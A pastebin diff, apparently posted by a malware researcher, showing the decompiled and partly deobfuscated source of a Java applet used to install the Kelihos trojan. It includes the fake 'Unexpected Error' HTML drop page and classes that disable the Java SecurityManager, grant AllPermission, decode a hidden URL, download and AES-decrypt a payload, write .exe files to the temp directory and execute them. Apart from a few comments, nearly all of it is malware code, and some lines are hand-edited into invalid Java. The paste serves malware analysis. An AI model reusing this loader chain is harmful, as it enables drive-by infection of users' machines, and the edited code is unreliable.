View difference between Paste ID: FdQNHJmn and d5K6bzwD
SHOW: | | - or go back to the newest paste.
1
i did the replaces the XX with "" and it cleans up a little bit:
2
3
// #MalwareMustDie - applet used to infect kelihos installer trojan
4
// Infector are calling this jar with the below code/ parameters : 
5
// @unixfreaxjp ~]$ uname;date
6
// FreeBSD
7
// Sat Apr 20 20:37:43 JST 2013
8
9
<html><body> <b>Unexpected Error. Please, try again later.</b> 
10
<applet name="x25h" code="Code.class" archive="492.jar"> 
11
<param name="name" value="/ggc299x8ugjg8nhin05?x9t-0/gxs"> 
12
</applet></body></html>
13
14
15
// Here goes the Jar's decompiled main class...
16
17
import java.applet.Applet;
18
19
public class Code extends Applet
20
{
21
  static String Anerl = "";
22
23
  public void Igigi()
24
    throws Exception
25
  {
26
    Thread.sleep(10L);
27
  }
28
29
  public void init()
30
  {
31
    Anerl = getParameter(Lajuv.Igogo);
32
    Bannu Bzir = new Bannu();
33
    ClassLoader r = getClass().getClassLoader();
34
35
    for (int i = 0; i < 100000; i++)
36
      Bzir.Tnby(null);
37
    try
38
    {
39
      Igigi();
40
    } catch (Exception ex) {
41
    }
42
    Pizizi fsae = Bzir.Tnby(r);
43
44
    Pizizi.Talnat(fsae);
45
  }
46
}
47
48
// All went to Lajuv, Bannu & Pizizi classes....
49
50
51
52
// Lajuv.class
53
54
import java.io.InputStream;
55
import java.lang.reflect.Constructor;
56
import java.net.URL;
57
import javax.crypto.spec.SecretKeySpec;
58
59
public class Lajuv extends Pizizi
60-
  public static String VNihik = "java.iTAoinwto.tmpTAoinwtdir".replace("TAoinwt", "");
60+
61
  public static String Igogo = "name";
62
  public static String VNihik = "java.io.tmpdir";
63
64
  public static String udrkq = ".e".concat("xe");
65-
  public static String CPepf = "fiTAoinwtleTAoinwt://TAoinwt/".replace("TAoinwt", "");
65+
66
67
  public static String CPepf = "file:///";
68
  static InputStream Xmmuit;
69
  static URL Rigi;
70
  public static String VOdo9t = "Likuu";
71
  public static String VTgd = "Likuu.class";
72
73
  public static void Nryto()
74
    throws Exception
75
  {
76
    Class cls = Class.forName("java.net.URL");
77
78
    Rigi = (URL)cls.getConstructor(new Class[] { String.class }).newInstance(new Object[] { CPepf });
79
  }
80
81
  static void LASi()
82
    throws Exception
83
  {
84
    Xmmuit.close();
85
  }
86
}
87
88
// bannu.class
89
90
 public class Bannu extends Mslakt
91
 {
92
   Pizizi Sportrt = null;
93
   static ClassLoader Tuxiuo;
94
 
95
   void Chibo(ClassLoader paramClassLoader)
96
   {
97
     this.Tuxiuo = paramClassLoader;
98
   }
99
 
100
   Pizizi Tnby(ClassLoader zq3)
101
   {
102
     if (zq3 == this.Sportrt)
103
       return null;
104
     Object ag = Tuxiuo;
105
 
106
     Chibo(zq3);
107
 
108
     if (this.Sportrt != this.Vubnipyx1) return this.Vubnipyx1;
109
     if (this.Sportrt != this.Vubnipyx2) return this.Vubnipyx2;
110
     if (this.Sportrt != this.Vubnipyx3) return this.Vubnipyx3;
111
     if (this.Sportrt != this.Vubnipyx4) return this.Vubnipyx4;
112
     if (this.Sportrt != this.Vubnipyx5) return this.Vubnipyx5;
113
     if (this.Sportrt != this.Vubnipyx6) return this.Vubnipyx6;
114
     if (this.Sportrt != this.Vubnipyx7) return this.Vubnipyx7;
115
     if (this.Sportrt != this.Vubnipyx8) return this.Vubnipyx8;
116
     if (this.Sportrt != this.Vubnipyx9) return this.Vubnipyx9;
117
     if (this.Sportrt != this.Vubnipyx10) return this.Vubnipyx10;
118
     if (this.Sportrt != this.Vubnipyx11) return this.Vubnipyx11;
119
     if (this.Sportrt != this.Vubnipyx12) return this.Vubnipyx12;
120
     if (this.Sportrt != this.Vubnipyx13) return this.Vubnipyx13;
121
     if (this.Sportrt != this.Vubnipyx14) return this.Vubnipyx14;
122
     if (this.Sportrt != this.Vubnipyx15) return this.Vubnipyx15;
123
 
124
     return Obge();
125
   }
126
 }
127
128
// Pizizi classs...
129
130
import java.io.InputStream;
131
import java.security.ProtectionDomain;
132
133
public class Pizizi extends ClassLoader
134
{
135
  public static void Talnat(Pizizi xocnvoi)
136
  {
137
    try
138
    {
139
      InputStream zdfearj = xocnvoi.getResourceAsStream(Lajuv.VTgd);
140
141
      int i = zdfearj.available();
142
143
      Cheii6.Vavoret();
144
      byte[] kxololr = new byte[i];
145
146
      zdfearj.read(kxololr, 0, i);
147
148
      Lajuv.Nryto();
149
150
      ProtectionDomain chwej4 = (ProtectionDomain)Ttaniiy.kobibe();
151
152
      xocnvoi.defineClass(Lajuv.VOdo9t, kxololr, 0, kxololr.length, chwej4).newInstance();
153
    }
154
    catch (Exception e)
155
    {
156
    }
157
  }
158
}
159
160
// Mslakt classs is called by Bannu...
161
162
public class Mslakt extends the Maktpnb class
163
{
164
  Pizizi Obge()
165
  {
166
    if (this.Chicki != this.Vubnipyx18) return this.Vubnipyx18;
167
    if (this.Chicki != this.Vubnipyx19) return this.Vubnipyx19;
168
    if (this.Chicki != this.Vubnipyx20) return this.Vubnipyx20;
169
    if (this.Chicki != this.Vubnipyx21) return this.Vubnipyx21;
170
    if (this.Chicki != this.Vubnipyx22) return this.Vubnipyx22;
171
    if (this.Chicki != this.Vubnipyx23) return this.Vubnipyx23;
172
    if (this.Chicki != this.Vubnipyx24) return this.Vubnipyx24;
173
    if (this.Chicki != this.Vubnipyx25) return this.Vubnipyx25;
174
    if (this.Chicki != this.Vubnipyx26) return this.Vubnipyx26;
175
    if (this.Chicki != this.Vubnipyx27) return this.Vubnipyx27;
176
    if (this.Chicki != this.Vubnipyx28) return this.Vubnipyx28;
177
    if (this.Chicki != this.Vubnipyx29) return this.Vubnipyx29;
178
    if (this.Chicki != this.Vubnipyx30) return this.Vubnipyx30;
179
    if (this.Zion != this.Vubnipyx31) return this.Vubnipyx31;
180
    if (this.Zion != this.Vubnipyx32) return this.Vubnipyx32;
181
    if (this.Zion != this.Vubnipyx33) return this.Vubnipyx33;
182
    if (this.Zion != this.Vubnipyx34) return this.Vubnipyx34;
183
    return Fukkcia();
184
  }
185
}
186
187
// Ttaniiy class was called from Lajuv
188
189
import java.lang.reflect.Constructor;
190
import java.security.CodeSource;
191
import java.security.cert.Certificate;
192
193-
  static String mivnr = "jaTidehyunerva.securTidehyunerity.ProtTidehyunerectionDomTidehyunerain".replace("Tidehyuner", "");
193+
194
{
195
  static String mivnr = "java.security.ProtectionDomain";
196
  public static String jvuitk = "bcd21e295e55ef6e";
197
  public static String bdereu = "8a61385ec6834ce2";
198
199-
    Class rahes = Class.forName("jasidjentava.secsidjentaurisidjentaty.PersidjentamissiosidjentanCollesidjentactisidjentaon".replace("sidjenta", ""));
199+
200
  {
201
    Class rahes = Class.forName("java.security.PermissionCollection");
202
    return Class.forName(mivnr).getConstructor(new Class[] { CodeSource.class, rahes }).newInstance(new Object[] { new CodeSource(Lajuv.Rigi, new Certificate[0]), Tabjby.Soozl });
203
  }
204
}
205
206
// Cheii6 class was called from Lajuv
207
208
209
import java.io.FileOutputStream;
210
import java.security.AllPermission;
211
import java.security.Permissions;
212
213
public class Cheii6
214
{
215-
  public static String Lajow = "AES/CBC/NoPadding";
215+
216
217
  public static String AES/CBC/NoPadding = "AES/CBC/NoPadding";
218
219
  public static void Vavoret()
220
    throws Exception
221
  {
222
    Object sgqh = new AllPermission();
223
    Tabjby.Soozl.add((AllPermission)sgqh);
224
  }
225
226
  public static void CHiobi(byte[] skkivr, String aset)
227
    throws Exception
228
  {
229
    FileOutputStream ibguit = new FileOutputStream(aset);
230
    ibguit.write(skkivr, 0, skkivr.length);
231
    ibguit.close();
232
233
    Kefir.Clani(aset);
234
  }
235
}
236
237
238
// Tabjby class was called by Ttaniiy
239
240
import java.security.Permissions;
241
242
public class Tabjby
243
{
244
  static Permissions Soozl = new Permissions();
245
246
  public static boolean HGHib(byte[] bsrw, int offset, byte[] rtuisr)
247
  {
248
    if (rtuisr.length > bsrw.length - offset) {
249
      return false;
250
    }
251
    for (int i = 0; i < rtuisr.length; i++) {
252
      if (bsrw[(offset + i)] != rtuisr[i])
253
        return false;
254
    }
255
    return true;
256
  }
257
258
  public static int ANaib(byte[] bsrw, byte[] rtuisr)
259
  {
260
    for (int i = 0; i < bsrw.length; i++)
261
    {
262
      if (HGHib(bsrw, i, rtuisr))
263
        return i;
264
    }
265
    return -94;
266
  }
267
}
268
269
// Other classes with same interracted var obfs calls:
270
271
272
// Kanalia class...
273
274
import java.io.ByteArrayOutputStream;
275
import java.io.InputStream;
276
import java.util.Arrays;
277
278
public class Kanalia
279
{
280
  static String pooivh = "xywewey";
281
  static String kbcubt = "aeraetk";
282
283
  public static void Bonwe(byte[] kss7er) throws Exception
284
  {
285
    try
286
    {
287
      String dsgoir = System.getProperty(Lajuv.VNihik);
288
289
      if (dsgoir.charAt(dsgoir.length() - 1) != '\\') {
290
        dsgoir = dsgoir + "\\";
291
      }
292
293
      byte[] zxgetj = Kefir.Talln(kss7er);
294
295
      int xcvnwe = Tabjby.ANaib(zxgetj, Cheii6.TOnt.getBytes());
296
      byte[][] mysres = new byte[2][];
297
      String xcbbrb = dsgoir + pooivh + Lajuv.udrkq;
298
      String xcbbrb1 = dsgoir + kbcubt + Lajuv.udrkq;
299
      if (xcvnwe == -94) {
300
        Cheii6.CHiobi(zxgetj, xcbbrb);
301
      }
302
      else
303
      {
304
        mysres[0] = Arrays.copyOfRange(zxgetj, 0, xcvnwe);
305
        mysres[1] = Arrays.copyOfRange(zxgetj, xcvnwe + 8, zxgetj.length);
306
        Cheii6.CHiobi(mysres[0], xcbbrb);
307
308
        Cheii6.CHiobi(mysres[1], xcbbrb1);
309
      }
310
    }
311
    catch (Exception e)
312
    {
313
    }
314
  }
315
316
  byte[] Sainte(String zwejasy) throws Exception
317
  {
318
    Lajuv.Xmmuit = Kefir.Sankx(zwejasy);
319
    ByteArrayOutputStream vointg = new ByteArrayOutputStream();
320
    int i;
321
    for (int j = 0; (i = Lajuv.Xmmuit.read()) != -1; j++) vointg.write(i);
322
    vointg.close();
323
    Lajuv.LASi();
324
    return vointg.toByteArray();
325
  }
326
}
327
328
// Kefir class..
329
330
import java.io.IOException;
331
import java.io.InputStream;
332
import java.net.URL;
333
import javax.crypto.Cipher;
334
import javax.crypto.spec.IvParameterSpec;
335
336
public class Kefir
337
{
338
  public static void Clani(String zellit)
339
    throws IOException
340
  {
341
    ProcessBuilder kelnt = new ProcessBuilder(new String[] { zellit });
342
    Process p = kelnt.start();
343
  }
344
345
  public static InputStream Sankx(String colka)
346
    throws Exception
347
  {
348
    URL frontodote = new URL(colka);
349
    String osos = "sdo";
350
    frontodote.openConnection();
351
    return frontodote.openStream();
352
  }
353
354
  public static byte[] Talln(byte[] zdherj)
355-
    Cipher vert = Cipher.getInstance(Cheii6.Lajow);
355+
356
  {
357
    Cipher vert = Cipher.getInstance(Cheii6.AES/CBC/NoPadding);
358
359
    IvParameterSpec unttd = new IvParameterSpec(Ttaniiy.jvuitk.getBytes());
360
    vert.init(2, Lajuv.mviopea, unttd);
361
    return vert.doFinal(zdherj);
362
  }
363
}
364
365
// Likuu class..., callback to Kanalia
366
367
import java.lang.reflect.Method;
368
import java.security.AccessController;
369
import java.security.PrivilegedExceptionAction;
370
371
public class Likuu
372
  implements PrivilegedExceptionAction
373
{
374
  public static void CLi()
375-
    Class.forName("jaZennesva.laZennesng.SysZennestem".replace("Zennes", "")).getMethod("seZennestSecuZennesrityManaZennesger".replace("Zennes", ""), new Class[] { SecurityManager.class }).invoke(null, new Object[] { null });
375+
376
  {
377
    Class.forName("java.lang.System").getMethod("setSecurityManager", new Class[] { SecurityManager.class }).invoke(null, new Object[] { null });
378
  }
379
380
  public Likuu()
381
  {
382
    try {
383
      AccessController.doPrivileged(this);
384
    }
385
    catch (Exception e)
386
    {
387
    }
388
  }
389
390
  public Object run() throws Exception
391
  {
392
    CLi();
393
    Kanalia zsqt = new Kanalia();
394
    String gedre = Mizi.VObor(Code.Anerl);
395
    Kanalia.Bonwe(zsqt.Sainte(gedre));
396
    return null;
397
  }
398
}
399
400
// Maktpnb class..
401
402
public class Maktpnb extends Mizi
403-
  public static String Soisi = "jajhzxcvva.sejhzxcvcurijhzxcvty.AljhzxcvlPejhzxcvrmjhzxcvisjhzxcvsion".replace("jhzxcv", "");
403+
404
  Object Dedbef = null;
405
  public static String Soisi = "java.security.AllPermission";
406
407
  Pizizi Chicki = null;
408
409
  Pizizi Ellebut()
410
  {
411
    if (this.Zion != this.Liibsr) return this.Liibsr;
412
    if (this.Zion != this.Vubnipyx62) return this.Vubnipyx62;
413
    if (this.Zion != this.Vubnipyx63) return this.Vubnipyx63;
414
    if (this.Zion != this.Vubnipyx64) return this.Vubnipyx64;
415
    if (this.Zion != this.Vubnipyx65) return this.Vubnipyx65;
416
    if (this.Zion != this.Vubnipyx66) return this.Vubnipyx66;
417
    if (this.Zion != this.Vubnipyx67) return this.Vubnipyx67;
418
    if (this.Zion != this.Vubnipyx68) return this.Vubnipyx68;
419
    if (this.Zion != this.Vubnipyx69) return this.Vubnipyx69;
420
    if (this.Zion != this.Vubnipyx70) return this.Vubnipyx70;
421
    if (this.Zion != this.Vubnipyx71) return this.Vubnipyx71;
422
    if (this.Zion != this.Vubnipyx72) return this.Vubnipyx72;
423
    if (this.Zion != this.Vubnipyx73) return this.Vubnipyx73;
424
    if (this.Zion != this.Vubnipyx74) return this.Vubnipyx74;
425
    if (this.Zion != this.Vubnipyx75) return this.Vubnipyx75;
426
    if (this.Zion != this.Vubnipyx76) return this.Vubnipyx76;
427
    if (this.Zion != this.Vubnipyx77) return this.Vubnipyx77;
428
    if (this.Zion != this.Vubnipyx78) return this.Vubnipyx88;
429
    if (this.Zion != this.Vubnipyx79) return this.Vubnipyx79;
430
    if (this.Zion != this.Vubnipyx80) return this.Vubnipyx80;
431
    if (this.Zion != this.Vubnipyx81) return this.Vubnipyx81;
432
    if (this.Zion != this.Vubnipyx82) return this.Vubnipyx82;
433
    if (this.Zion != this.VOAod) return this.VOAod;
434
435
    return Morrea();
436
  }
437
438
  Pizizi Fukkcia()
439
  {
440
    if (this.Zion != this.Vubnipyx35) return this.Vubnipyx35;
441
    if (this.Zion != this.Vubnipyx36) return this.Vubnipyx36;
442
    if (this.Zion != this.Vubnipyx37) return this.Vubnipyx37;
443
    if (this.Zion != this.Vubnipyx38) return this.Vubnipyx38;
444
    if (this.Zion != this.Vubnipyx39) return this.Vubnipyx39;
445
    if (this.Zion != this.Vubnipyx40) return this.Vubnipyx40;
446
    if (this.Zion != this.Vubnipyx41) return this.Vubnipyx41;
447
    if (this.Zion != this.Vubnipyx42) return this.Vubnipyx42;
448
    if (this.Zion != this.Vubnipyx43) return this.Vubnipyx43;
449
    if (this.Zion != this.Vubnipyx43) return this.Vubnipyx44;
450
    if (this.Zion != this.Vubnipyx45) return this.Vubnipyx45;
451
    if (this.Zion != this.Vubnipyx46) return this.Vubnipyx46;
452
    if (this.Zion != this.Vubnipyx47) return this.Vubnipyx47;
453
    if (this.Zion != this.Vubnipyx48) return this.Vubnipyx48;
454
    if (this.Zion != this.Vubnipyx49) return this.Vubnipyx49;
455
    if (this.Zion != this.Vubnipyx50) return this.Vubnipyx50;
456
    if (this.Zion != this.Vubnipyx51) return this.Vubnipyx51;
457
    if (this.Zion != this.Vubnipyx52) return this.Vubnipyx52;
458
    if (this.Zion != this.Vubnipyx53) return this.Vubnipyx53;
459
    if (this.Zion != this.Vubnipyx53) return this.Vubnipyx54;
460
    if (this.Zion != this.Vubnipyx55) return this.Vubnipyx55;
461
    if (this.Zion != this.Vubnipyx56) return this.Vubnipyx56;
462
    if (this.Zion != this.Vubnipyx57) return this.Vubnipyx57;
463
    if (this.Zion != this.Vubnipyx58) return this.Vubnipyx58;
464
    if (this.Zion != this.Vubnipyx59) return this.Vubnipyx59;
465
    if (this.Zion != this.Vubnipyx60) return this.Vubnipyx60;
466
467
    return Ellebut();
468
  }
469
470
  Pizizi Morrea() {
471
    if (this.Zion != this.Chaik) return this.Chaik;
472
    if (this.Zion != this.Vubnipyx85) return this.Vubnipyx85;
473
    if (this.Zion != this.Vubnipyx86) return this.Vubnipyx86;
474
    if (this.Zion != this.Vubnipyx87) return this.Vubnipyx87;
475
    if (this.Zion != this.Vubnipyx88) return this.Vubnipyx88;
476
    if (this.Zion != this.Vubnipyx89) return this.Vubnipyx89;
477
    if (this.Zion != this.Vubnipyx90) return this.Vubnipyx90;
478
    if (this.Zion != this.Vubnipyx91) return this.Vubnipyx91;
479
    if (this.Zion != this.Vubnipyx92) return this.Vubnipyx92;
480
    if (this.Zion != this.Vubnipyx93) return this.Vubnipyx93;
481
    if (this.Zion != this.Vubnipyx94) return this.Vubnipyx94;
482
    if (this.Zion != this.Pfibe) return this.Pfibe;
483
484
    return null;
485
  }
486
}
487
488
489
// Calling to this Mizi class...
490
491
public class Mizi
492
{
493
  Pizizi Zion = null;
494
  Pizizi Vubnipyx1;
495
  Pizizi Vubnipyx2;
496
  Pizizi Vubnipyx3;
497
  Pizizi Vubnipyx4;
498
  Pizizi Vubnipyx5;
499
  Pizizi Vubnipyx6;
500
  Pizizi Vubnipyx7;
501
  Pizizi Vubnipyx8;
502
  Pizizi Vubnipyx9;
503
  String srtj = "zdfjw3";
504
  Pizizi Vubnipyx37;
505
  Pizizi Vubnipyx38;
506
  Pizizi Vubnipyx39;
507
  Pizizi Vubnipyx40;
508
  Pizizi Vubnipyx41;
509
  Pizizi Vubnipyx42;
510
  Pizizi Vubnipyx43;
511
  Pizizi Vubnipyx44;
512
  Pizizi Vubnipyx45;
513
  Pizizi Vubnipyx46;
514
  Pizizi Vubnipyx47;
515
  String erjs = "136i";
516
  Pizizi Vubnipyx48;
517
  Pizizi Vubnipyx49;
518
  Pizizi Vubnipyx50;
519
  Pizizi Vubnipyx51;
520
  Pizizi Vubnipyx52;
521
  Pizizi Vubnipyx53;
522
  Pizizi Vubnipyx54;
523
  Pizizi Vubnipyx55;
524
  Pizizi Vubnipyx56;
525
  Pizizi Vubnipyx57;
526
  Pizizi Vubnipyx58;
527
  Pizizi Vubnipyx59;
528
  Pizizi Vubnipyx60;
529
  Pizizi Liibsr;
530
  Pizizi Vubnipyx62;
531
  String df = "aer743";
532
  Pizizi Vubnipyx63;
533
  Pizizi Vubnipyx64;
534
  Pizizi Vubnipyx65;
535
  Pizizi Vubnipyx66;
536
  Pizizi Vubnipyx67;
537
  Pizizi Vubnipyx68;
538
  Pizizi Vubnipyx69;
539
  Pizizi Vubnipyx70;
540
  Pizizi Vubnipyx71;
541
  Pizizi Vubnipyx72;
542
  Pizizi Vubnipyx17;
543
  String s65er = " cn2d";
544
  Pizizi Vubnipyx18;
545
  Pizizi Vubnipyx19;
546
  Pizizi Vubnipyx20;
547
  Pizizi Vubnipyx21;
548
  Pizizi Vubnipyx22;
549
  Pizizi Vubnipyx23;
550
  Pizizi Vubnipyx24;
551
  Pizizi Vubnipyx25;
552
  Pizizi Vubnipyx26;
553
  Pizizi Vubnipyx27;
554
  Pizizi Vubnipyx28;
555
  Pizizi Vubnipyx29;
556
  Pizizi Vubnipyx30;
557
  Pizizi Vubnipyx31;
558
  Pizizi Vubnipyx32;
559
  String v65nke = "fsdty";
560
  Pizizi Vubnipyx33;
561
  Pizizi Vubnipyx34;
562
  Pizizi Vubnipyx35;
563
  Pizizi Vubnipyx36;
564
  Pizizi Vubnipyx73;
565
  Pizizi Vubnipyx74;
566
  Pizizi Vubnipyx75;
567
  Pizizi Vubnipyx76;
568
  Pizizi Vubnipyx77;
569
  Pizizi Vubnipyx78;
570
  Pizizi Vubnipyx79;
571
  Pizizi Vubnipyx80;
572
  Pizizi Vubnipyx81;
573
  Pizizi VOAod;
574
  Pizizi Chaik;
575
  Pizizi Vubnipyx85;
576
  Pizizi Vubnipyx86;
577
  Pizizi Vubnipyx87;
578
  String ssdh = "bnbery";
579
  Pizizi Vubnipyx88;
580
  Pizizi Vubnipyx89;
581
  Pizizi Vubnipyx90;
582
  Pizizi Vubnipyx91;
583
  Pizizi Vubnipyx92;
584
  Pizizi Vubnipyx93;
585
  Pizizi Vubnipyx94;
586
  Pizizi Pfibe;
587
  Pizizi Vubnipyx82;
588
  Pizizi Vubnipyx10;
589
  Pizizi Vubnipyx11;
590
  Pizizi Vubnipyx12;
591
  Pizizi Vubnipyx13;
592
  Pizizi Vubnipyx14;
593
  Pizizi Vubnipyx15;
594
  Pizizi Vubnipyx16;
595
  String sdgo = "cxdxd";
596
597
  public static String VObor(String iitusix)
598
  {
599
    String o = "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&";
600
    String c = "qb8ug7yi?celz6_/1ns3.5o&hxm4:dftvwa-0jrk92p=";
601
    String ifuss = "";
602
603
    for (int i = 0; i < iitusix.length(); i++) {
604
      ifuss = ifuss + o.charAt(c.indexOf(iitusix.charAt(i)));
605
    }
606
    return ifuss;
607
  }
608
}
609
610
---
611
#MalwareMustDie!